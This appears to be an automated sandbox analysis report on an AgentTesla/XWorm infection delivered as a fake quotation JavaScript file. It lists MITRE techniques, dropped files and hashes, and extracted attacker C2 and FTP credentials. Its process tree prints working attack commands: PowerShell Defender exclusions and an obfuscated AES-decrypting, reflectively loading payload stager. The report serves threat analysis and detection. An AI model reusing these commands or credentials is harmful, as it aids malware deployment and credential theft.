agenttesla | 65471e745397e92b3dd2ab9778cbd9c4c0f1471f9075c5860c9004a61ebd6a00

Analysis

max time kernel
149s
max time network
147s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/04/2026, 08:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Quotation.RFQ28042026.js
Size 867KB
Sample260429-j2ethsdt8p
SHA256 65471e745397e92b3dd2ab9778cbd9c4c0f1471f9075c5860c9004a61ebd6a00
MD5 8c552d3c27940848a460e6096883958e
SHA1 8d178c52de9bc046c20e5e90f53d434747232122
SHA512 0a7865e61a6a6afbb33a2cfa63ed579c6acc5d6f9d7b95849768f21399df299ef6bc8a144faacaaccff5f85aaecca30dd8f0b3e26abf14a4f7b2e96a680624ed
SSDEEP 24576:N9+TUpSjUtsGKbpuvp9+TUpSjUtsGKbpuvaW:N3WUN+w3WUN+TW
TLSH
T11C15F11066C03FA8978F1B2990BF2199D3B0098F5958660FDB13FD42BFFB604A2575B9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution agenttesla xworm keylogger rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

Version

203.202.232.149:2222

Mutex

4VeuKrW7wE9uXCl8

Attributes

install_file
USB.exe

aes.plain

Extracted

Family

agenttesla

Credentials

Protocol
ftp
Host
ftp://ftp.duct-master.com
Port
21
Username
[email protected]
Password
WL9ow,~&t(NJJf-)nn

Signatures

Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/844-13-0x0000000000400000-0x0000000000410000-memory.dmp	family_xworm

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	1832	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4068	powershell.exe
2728	powershell.exe
2824	powershell.exe
1832	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinServiceHost.lnk	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1772	extcly.exe
1652	aspnet_compiler.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2824 set thread context of 844	2824	powershell.exe	87

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extcly.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2824	powershell.exe
2824	powershell.exe
2824	powershell.exe
2824	powershell.exe
2824	powershell.exe
2824	powershell.exe
2824	powershell.exe
2824	powershell.exe
2824	powershell.exe
2824	powershell.exe
2824	powershell.exe
2824	powershell.exe
2824	powershell.exe
2824	powershell.exe
2728	powershell.exe
2728	powershell.exe
2824	powershell.exe
4068	powershell.exe
4068	powershell.exe
844	aspnet_compiler.exe
2824	powershell.exe
2824	powershell.exe
844	aspnet_compiler.exe
844	aspnet_compiler.exe
1832	powershell.exe
1832	powershell.exe
1772	extcly.exe
1772	extcly.exe
1832	powershell.exe
1832	powershell.exe
844	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe
1652	aspnet_compiler.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	844	aspnet_compiler.exe
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	4068	powershell.exe
Token: SeDebugPrivilege	1832	powershell.exe
Token: SeDebugPrivilege	1772	extcly.exe
Token: 35	1832	powershell.exe
Token: SeDebugPrivilege	1652	aspnet_compiler.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
844	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 1724 wrote to memory of 2824	1724	wscript.exe	80
PID 2824 wrote to memory of 3104	2824	powershell.exe	82
PID 2824 wrote to memory of 692	2824	powershell.exe	83
PID 2824 wrote to memory of 2776	2824	powershell.exe	84
PID 2824 wrote to memory of 696	2824	powershell.exe	85
PID 2824 wrote to memory of 4032	2824	powershell.exe	86
PID 2824 wrote to memory of 844	2824	powershell.exe	87
PID 2824 wrote to memory of 844	2824	powershell.exe	87
PID 2824 wrote to memory of 844	2824	powershell.exe	87
PID 2824 wrote to memory of 844	2824	powershell.exe	87
PID 2824 wrote to memory of 844	2824	powershell.exe	87
PID 844 wrote to memory of 2728	844	aspnet_compiler.exe	88
PID 844 wrote to memory of 4068	844	aspnet_compiler.exe	90
PID 844 wrote to memory of 1496	844	aspnet_compiler.exe	93
PID 1496 wrote to memory of 1832	1496	cmd.exe	95
PID 844 wrote to memory of 1772	844	aspnet_compiler.exe	96
PID 844 wrote to memory of 4412	844	aspnet_compiler.exe	97
PID 4412 wrote to memory of 3976	4412	csc.exe	99
PID 844 wrote to memory of 1652	844	aspnet_compiler.exe	100

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Quotation.RFQ28042026.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File "C:\Temp\ps_JNzSW8NnSQ11_1777450177361.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:3104
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:692
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:2776
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:696
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:4032
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:844
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2728
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'aspnet_compiler.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4068
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lbhpuy.bat" "
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1496
    - - C:\Windows\SysWOW64\windowspowershell\v1.0\powershell.exe
        
        "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" -w h -NoP -EP bypass -Command "function oyKSs($NwDBw){ $wrnVc=New-Object System.IO.MemoryStream(,$NwDBw); $tgWxf=New-Object System.IO.MemoryStream; $CPtFz=New-Object System.IO.Compression.GZipStream($wrnVc, [IO.Compression.CompressionMode]::Decompress); $CPtFz.CopyTo($tgWxf); $CPtFz.Dispose(); $wrnVc.Dispose(); $tgWxf.Dispose(); $tgWxf.ToArray();}function etIWk($NwDBw){ $ljxAe=[System.Security.Cryptography.Aes]::Create(); $ljxAe.Mode=[System.Security.Cryptography.CipherMode]::CBC; $ljxAe.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $ljxAe.Key=[System.Convert]::FromBase64String('OBWLT5q+ohpzlHi4YcovzWy22cnO7X1hgQGhLedKP2c='); $ljxAe.IV=[System.Convert]::FromBase64String('4BEyJ/XL1SO4mXxBRtyNSA=='); $BSGWh=$ljxAe.CreateDecryptor(); $vuCpj=$BSGWh.TransformFinalBlock($NwDBw, 0, $NwDBw.Length); $BSGWh.Dispose(); $ljxAe.Dispose(); $vuCpj;}function mZoxr($NwDBw,$niRhV){ $WzjXj=[System.Reflection.Assembly]::Load([byte[]]$NwDBw); $mKFkW=$WzjXj.EntryPoint; $mKFkW.Invoke($null, $niRhV);}$zenRC = 'C:\Users\Admin\AppData\Local\Temp\lbhpuy.bat';$host.UI.RawUI.WindowTitle = $zenRC;$sWGot=[System.IO.File]::ReadAllText($zenRC).Split([Environment]::NewLine);foreach ($rXPpA in $sWGot) { if ($rXPpA.StartsWith('vcceSlNTlRxVkBQvgNEZ')) { $nHaZl=$rXPpA.Substring(20); break; }}$agXlZ=[string[]]$nHaZl.Split('\');$Zhhqn=oyKSs (etIWk ([Convert]::FromBase64String($agXlZ[0].Replace('#', '/').Replace('@', 'A'))));$RUSGy=oyKSs (etIWk ([Convert]::FromBase64String($agXlZ[1].Replace('#', '/').Replace('@', 'A'))));mZoxr $Zhhqn $null;mZoxr $RUSGy (,[string[]] (''));"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1832
  - - C:\Users\Admin\AppData\Local\Temp\extcly.exe
      "C:\Users\Admin\AppData\Local\Temp\extcly.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1772
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\aspnet_compiler.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_2151cc58a2af446bbad57285e7050a15.cs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4412
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES38F8.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC7377297F43C64764BAD4AA78A57C66AB.TMP"
        5⤵
        
        PID:3976
  - - C:\Users\Admin\AppData\Local\Temp\aspnet_compiler.exe
      "C:\Users\Admin\AppData\Local\Temp\aspnet_compiler.exe" 844
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1652

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ps_JNzSW8NnSQ11_1777450177361.ps1

Path C:\Temp\ps_JNzSW8NnSQ11_1777450177361.ps1
Size 299KB
SHA256 cc3e0b23600bdcb58c090dc5d27ca89b18b27f59783a6c352dffaef0f10369e1
MD5 6889a5b2616f3dc2ea934d67c41e40a7
SHA1 571cb3744cc5357b191413a767bcbc4710238dde
SHA512 b76791f9476387221782e83f864042bf383aa4710779ae766405bec1c9211fa788c031ae9118979516c11d7d4c9242688cd1f861381953b43bf0292ef2fbf6d7
SSDEEP 6144:QQ8L8pDAZXGw6fjejCgD2Q5nZvRJIv9+5doMzkLM/j1I0tdL9MQ:QQ8L/Z23fyjCgy0tIV+oykLgL97
TLSH
T112642313BEFE34A14780A31CC5B6CD1B429032C691327E793B4E9F581A5FE4AA8F9D45
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 9600b3fdf0565ccb49e21656aa4b24d7c18f776bfd04d9ee984b134707550f02
MD5 d0c46cad6c0778401e21910bd6b56b70
SHA1 7be418951ea96326aca445b8dfe449b2bfa0dca6
SHA512 057531b468f7fbbb2175a696a8aab274dec0d17d9f71df309edcff35e064f3378050066a3df47ccd03048fac461594ec75e3d4fe64f9dd79949d129f51e02949
TLSH
T113415C303161A5D84D435B1205286ED5E3EF478AAFAC8F5CB569231DCD2A44BD7121F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 d2798df470a71073e616ff54e7db24c40635f07c15fdacc463c3e8c931e1a341
MD5 aaed13863ab38600c24e5ed7f18f0a28
SHA1 9ca5a8ead7bc29f4af3c7b52ae55df020443370b
SHA512 3d3cc08572a2db6e30dd0501ce19595f920ff1cfdd4611680665bceae3aac8e7c228b593ba067c0fd53986115d4ca80340bb434d3dc91bf7ad3e773580e1a2f1
SSDEEP 1536:KflJd+h4iUxTYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3BV3CNBQkj2zMrxM:KflJd+qiUTYkzvHgfKQaUpeE711kDa5L
TLSH
T1B9538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 18KB
SHA256 dde826517514e4b4c875fea7ddc209360cf8ebd24e776247b25c7ccf70cbed7c
MD5 fee3fa0ec6ca1332d2738393511bc29f
SHA1 43959139a4ae42d44c86ac3e4bcd4db033649ee1
SHA512 602b3cbe04f6a015e731c2945bd8c3915588996ca7420a8c65ebf9b70a4c45f610f4712a82e1fc9ca4a83f9c31a179ebf5ff1d81e1c7add5aad7dd095017ed4c
SSDEEP 384:MTHht1SGDSFr2j3zmCnNfjsaRzbFiXZnSIRpb5nYEgapDU1C:ESlFrK9fjxGZnThmCUM
TLSH
T11C9229AA326F25A7C4A613F8842607DBEEB09ECF430413DE675A587B01CF67184694F8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 18KB
SHA256 978a337d1e791456c0b8e9e3245a0b69d7c65d6d0ceeae50b58cce976e28e798
MD5 15df56ee1a992a95f152d12fd330bebf
SHA1 475cbbb23783f956f38eaa655887b7a487108dbf
SHA512 05fb46dcad2432c0c06566b5e7bc4ce98f0c15c1a3ad216beecb5b1eb248845a906997838e1592d3706a72b4adc288eb4247b675e4af4caa58c5c06593f94362
SSDEEP 384:gL3HhiSS1eEtwXwR/FtRWZBAZnN7js2gtguNDE59F9Ysu0iFpX:GgSSpwgRdWZm37j7gtg2DGF9Ysu0M
TLSH
T1AB92C6AE711F22C3C89563B8D106010FE8F2DE8D431913D8BB2D9F7B89AC65E917D558
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RES38F8.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES38F8.tmp
Size 1KB
SHA256 164305a2889d0aea0bb2624a81aca51a2de217d6d96fcd40fb8284f4271377d3
MD5 44d766c99168a4db4cdf418960aea2a5
SHA1 8ac1f18a0bc08c47414b1e6fc1aaaeb2e9dcbb43
SHA512 3dd9c8139d86369894f3415df57976ef99c520eda38f5c4858052118450bef8b471386eab5f7e0f4df61eeb4e03268cc55eb1fe59405bdf4796d293137afee07
TLSH
T1EB41534083D84B1AF173473169FB4319E6BCBE459E9A575EB484522E1F42740CEC3672
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_vktapaef.z5b.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vktapaef.z5b.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

aspnet_compiler.exe

Path C:\Users\Admin\AppData\Local\Temp\aspnet_compiler.exe
Size 5KB
SHA256 8e22b5325cc710e69d22ab56ae131353abb20fbb537c04a0bf5072b381a93eda
MD5 84f3e0479134171a0bb1099344aa8e4e
SHA1 ee3f35e28b6a95cc5e48645d281f558fde71bc6e
SHA512 f28a77ca47b414b1ce30fbbd9c0a0c7e21f00c9377ea86a65767086b1bda3af14678343e4e0d74e63b1b5fe3540fe0169c767a00f82d4192f9d70fefd2069c1d
SSDEEP 96:Qdew7V9tAG+qTmL8BynqgHlNx6EJ57Suu5lzNt:Qvp2HLoyqgHjRJ57SRf
TLSH
T18BC1B68697CC4366E0B7037168B303116778E8115BABBB5F25E4127B7EB679009533F1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

extcly.exe

Path C:\Users\Admin\AppData\Local\Temp\extcly.exe
Size 239KB
SHA256 2cbe0104d0a55f21c2f0e895a50df2ffdbdebfe2e020c7b5dead6aaeb233467e
MD5 6e709eef0402edad04464e90fd7b700d
SHA1 7b78f8a790bcbb4febf73b1dc77abbb4de9ab099
SHA512 dbea602f63b513bfa4b6428c2289b006f7296c7b8da21687deb9eb9a57c60a3a5592941b2717bc8ace6b971f1103c88623c274e7968498bb07ee78cd6bd54f7d
SSDEEP 3072:kkN9BkbLbbrFsWxhyYEhR5m26Yy5Th7kwEw:rN7kbLbbrFsWxkVZd6Ys77
TLSH
T12E340F037E88EB15E1A87E3782EF6C2413F2B0C71633860BAF49AF6515526525C7E72D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lbhpuy.bat

Path C:\Users\Admin\AppData\Local\Temp\lbhpuy.bat
Size 146KB
SHA256 736a4eb5d2963b75468ffd482b0330f94575fc1982e1d42a3ea194e17e9fd464
MD5 045b99a2b9ccdb426b7b4f5d8c7aea6e
SHA1 d9c57a67d4c29c30e7dc491add74862c9671339e
SHA512 a1db342a04447da7a0771cb37ef92914aeb7f867f5e04cb7dad5b968f638de85aafe329f6d5188184131faff137d52294d4342f4820f8a259ef36f3a2786d69b
SSDEEP 3072:PR0PvUwwGhlEUiECg7CYzTi/IdhBUK7IcoDTxwXm+S6bAoJ+qTOIyCS:xwwGTE+J7CwK5K7Ico5wXmze+qT/yL
TLSH
T15BE3022211CB8D7624F81429AB0E751FF76CC0C98B8CE5DE415DA6AB200CD97C7AA779
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSC7377297F43C64764BAD4AA78A57C66AB.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\CSC7377297F43C64764BAD4AA78A57C66AB.TMP
Size 1KB
SHA256 a90afa9b627d86babfc78e795984727845e59697f765ff7402fdfa883ed7ef79
MD5 d6f8cb438343552cd9ae3fdef0fd0b57
SHA1 b1c9763c407859aa3f6a9568f8557a53a264bee5
SHA512 2f6d87995fa35eafaa2797eb66d11582a69a9e59d011b76cfbcc815562724d870083e75be9bdcd59ce2ec13a3e10a253b60728e5e072a09cdad8c46981952e77
TLSH
T1C8213281A3E8421EF2B3477079F2C323D1AC7E529D7A43EC3488170F1F25A1086836B2
MD5 SHA1 SHA512 TLSH

Submit Download

guardian_src_2151cc58a2af446bbad57285e7050a15.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\guardian_src_2151cc58a2af446bbad57285e7050a15.cs
Size 4KB
SHA256 3ee1bf1ab210527e7543dc78ca3511904bf7770d571eb0d11746edd9f5bf814a
MD5 b7d40eb7e1328728d647678e1ea0a4dc
SHA1 43850a88c7f012df9e7349886497271c83e2bdaa
SHA512 a531df01588357b0d669d563fada88e78b0b3d1453e40605a872e9fba6091bb46a623b0817aafab946b01f92d5810ed7eb97ed9373eaeacb9970b316278667a4
SSDEEP 96:noO1V0E4Yt1YOC3idfygNzkfK1Sg5vpVIHZZ:jl481hC3i1ygNzw5g5vpVw3
TLSH
T19F911298954DA2D69872223AFB03D15BF603103322FF9A20FEADD3505F3D0018678F69
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/844-147-0x0000000005FB0000-0x0000000005FE4000-memory.dmp

Download

memory/844-82-0x0000000006420000-0x000000000642A000-memory.dmp

Download

memory/844-148-0x0000000005FE0000-0x0000000005FE6000-memory.dmp

Download

memory/844-145-0x0000000001780000-0x0000000001892000-memory.dmp

Download

memory/844-138-0x0000000001780000-0x0000000001892000-memory.dmp

Download

memory/844-130-0x0000000001780000-0x0000000001892000-memory.dmp

Download

memory/844-88-0x00000000077F0000-0x0000000007832000-memory.dmp

Download

memory/844-13-0x0000000000400000-0x0000000000410000-memory.dmp

Download

memory/844-80-0x0000000006450000-0x00000000064E2000-memory.dmp

Download

memory/844-111-0x0000000007850000-0x00000000078CC000-memory.dmp

Download

memory/844-169-0x0000000001780000-0x0000000001892000-memory.dmp

Download

memory/844-123-0x0000000001780000-0x0000000001892000-memory.dmp

Download

memory/844-124-0x00000000074A0000-0x00000000074A7000-memory.dmp

Download

memory/844-122-0x0000000005F10000-0x0000000005F60000-memory.dmp

Download

memory/844-14-0x00000000057E0000-0x000000000587C000-memory.dmp

Download

memory/844-150-0x000000000F840000-0x000000001067C000-memory.dmp

Download

memory/844-83-0x0000000001780000-0x0000000001892000-memory.dmp

Download

memory/844-79-0x00000000065A0000-0x0000000006B46000-memory.dmp

Download

memory/1652-163-0x00000000008B0000-0x00000000008B8000-memory.dmp

Download

memory/1724-46-0x0000015F667D0000-0x0000015F667DC000-memory.dmp

Download

memory/1724-121-0x0000015F667D0000-0x0000015F667DC000-memory.dmp

Download

memory/1772-113-0x0000000000BA0000-0x0000000000BE2000-memory.dmp

Download

memory/1772-188-0x00000000014D0000-0x00000000015E2000-memory.dmp

Download

memory/1772-129-0x0000000005C30000-0x0000000005C37000-memory.dmp

Download

memory/1772-128-0x00000000014D0000-0x00000000015E2000-memory.dmp

Download

memory/1832-116-0x0000000007AE0000-0x0000000007AFE000-memory.dmp

Download

memory/1832-99-0x00000000063A0000-0x00000000066F7000-memory.dmp

Download

memory/1832-101-0x0000000006E40000-0x0000000006E8C000-memory.dmp

Download

memory/1832-115-0x0000000007AC0000-0x0000000007AC8000-memory.dmp

Download

memory/1832-125-0x00000000053D0000-0x00000000053E9000-memory.dmp

Download

memory/1832-126-0x0000000005460000-0x00000000054EA000-memory.dmp

Download

memory/1832-127-0x0000000005820000-0x0000000005827000-memory.dmp

Download

memory/2728-39-0x00000000075D0000-0x0000000007674000-memory.dmp

Download

memory/2728-18-0x0000000005E00000-0x0000000005E66000-memory.dmp

Download

memory/2728-15-0x0000000002AF0000-0x0000000002B26000-memory.dmp

Download

memory/2728-16-0x00000000055A0000-0x0000000005BCA000-memory.dmp

Download

memory/2728-17-0x0000000005500000-0x0000000005522000-memory.dmp

Download

memory/2728-19-0x0000000005E70000-0x0000000005ED6000-memory.dmp

Download

memory/2728-58-0x0000000007690000-0x0000000007697000-memory.dmp

Download

memory/2728-57-0x0000000002B40000-0x0000000002BCA000-memory.dmp

Download

memory/2728-56-0x0000000002AB0000-0x0000000002AC9000-memory.dmp

Download

memory/2728-53-0x0000000007A60000-0x0000000007A68000-memory.dmp

Download

memory/2728-52-0x0000000007A80000-0x0000000007A9A000-memory.dmp

Download

memory/2728-51-0x0000000007970000-0x0000000007985000-memory.dmp

Download

memory/2728-50-0x0000000007960000-0x000000000796E000-memory.dmp

Download

memory/2728-26-0x0000000005EE0000-0x0000000006237000-memory.dmp

Download

memory/2728-27-0x00000000063C0000-0x00000000063DE000-memory.dmp

Download

memory/2728-28-0x00000000063F0000-0x000000000643C000-memory.dmp

Download

memory/2728-45-0x0000000007930000-0x0000000007941000-memory.dmp

Download

memory/2728-44-0x00000000079C0000-0x0000000007A56000-memory.dmp

Download

memory/2728-43-0x0000000007790000-0x000000000779A000-memory.dmp

Download

memory/2728-42-0x0000000007720000-0x000000000773A000-memory.dmp

Download

memory/2728-41-0x0000000007D60000-0x00000000083DA000-memory.dmp

Download

memory/2728-30-0x0000000007390000-0x00000000073C4000-memory.dmp

Download

memory/2728-31-0x000000006FE20000-0x000000006FE6C000-memory.dmp

Download

memory/2728-38-0x00000000069C0000-0x00000000069DE000-memory.dmp

Download

memory/2824-12-0x000002969EB70000-0x000002969EB86000-memory.dmp

Download

memory/2824-40-0x0000029686430000-0x0000029686440000-memory.dmp

Download

memory/2824-29-0x0000029686430000-0x0000029686440000-memory.dmp

Download

memory/2824-49-0x0000029686430000-0x0000029686440000-memory.dmp

Download

memory/2824-48-0x0000029686490000-0x00000296864A2000-memory.dmp

Download

memory/2824-47-0x0000029684BB0000-0x0000029684BBC000-memory.dmp

Download

memory/2824-2-0x0000029686430000-0x0000029686440000-memory.dmp

Download

memory/2824-4-0x000002969EAE0000-0x000002969EB02000-memory.dmp

Download

memory/2824-1-0x0000029686430000-0x0000029686440000-memory.dmp

Download

memory/2824-10-0x0000029686430000-0x0000029686440000-memory.dmp

Download

memory/3976-156-0x0000022919EA0000-0x0000022919EAC000-memory.dmp

Download

memory/4068-68-0x000000006FE20000-0x000000006FE6C000-memory.dmp

Download

memory/4068-77-0x0000000004CB0000-0x0000000004D3A000-memory.dmp

Download

memory/4068-78-0x0000000007360000-0x0000000007367000-memory.dmp

Download

memory/4068-76-0x0000000002830000-0x0000000002849000-memory.dmp

Download

memory/4068-65-0x0000000005CF0000-0x0000000006047000-memory.dmp

Download

memory/4412-159-0x000001EECF9A0000-0x000001EECF9AC000-memory.dmp

Download